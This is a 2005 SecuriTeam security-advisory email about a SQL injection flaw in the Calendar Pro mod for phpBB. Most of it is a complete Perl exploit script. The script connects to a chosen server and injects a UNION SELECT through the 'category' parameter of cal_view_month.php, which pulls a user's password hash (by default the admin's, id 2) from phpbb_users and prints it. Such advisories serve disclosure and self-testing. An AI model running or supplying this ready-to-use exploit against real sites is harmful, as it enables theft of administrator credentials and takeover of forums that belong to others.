From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 5 Apr 2005 13:20:23 +0200
Subject: [EXPL] phpBB Calendar Pro catergory Parameter SQL Injection
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phpBB Calendar Pro catergory Parameter SQL Injection
------------------------------------------------------------------------
SUMMARY
A vulnerability in phpBB's Calendar Pro Mod allows remote attackers to
inject arbitrary SQL statements into existing one. The following exploit
code can be used to test your system for the mentioned vulnerability.
DETAILS
Exploit:
#!/usr/bin/perl -w
use IO::Socket;
## Example:
## C:\>cal_phpbb.pl www.site.com /phpBB2/ 2
##
## 'Calendar Pro' Mod for phpBB
## *************************
## [~] Connecting...
## [+] Connected!
## [~] Sending Data...
## [~] Data Sent, Waiting for response...
## [+] MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055
##
if (@ARGV < 3)
{
print "\n\n";
print
"|****************************************************************|\n";
print " 'Calendar Pro' Mod <= 2.0.33 (Newest version) For phpBB\n";
print " Bug found by Axl\n";
print " Coded by CereBrums // 4/4/2005\n";
print " Usage: cal_phpbb.pl <server> <folder> <user_id>\n";
print " e.g.: cal_phpbb.pl www.site.com /phpBB2/ 2 \n";
print " [~] <server> - site address\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 is default for phpBB admin) \n";
print
"|****************************************************************|\n";
print "\n\n";
exit(1);
}
$take = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
print "\n 'Calendar Pro' Mod for phpBB\n";
print " *****************************\n";
print " [~] Connecting...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print " [+] Connected!\n";
print " [~] Sending Data...\n";
$path = "http://$server/";
$path .= "/$folder/";
$path .=
"cal_view_month.php?month=04&year=2005&category=-1%20UNION%20SELECT%20user_password%20FROM%20phpbb_users%20where%20user_id=$user_id/*";
print $socket "GET $path HTTP/1.0\r\n\r\n";
print " [~] Data Sent, Waiting for response...\n";
while ($answer = <$socket>)
{
if ($take == 1) {
$in = rindex ($answer, "(");
if ( $in > -1 ) {
$pass = substr($answer,$in+1,32);
print " [+] MD5 Hash for user with id=$user_id is:
$pass\n";
exit();
}
}
if ( rindex ($answer,"cal_view_month.php?month=3&year=2005") > -1 )
{
$take = 1;
}
}
print " [-] Exploit failed\n";
#### EOF ####
ADDITIONAL INFORMATION
The information has been provided by Axl and CereBrums.
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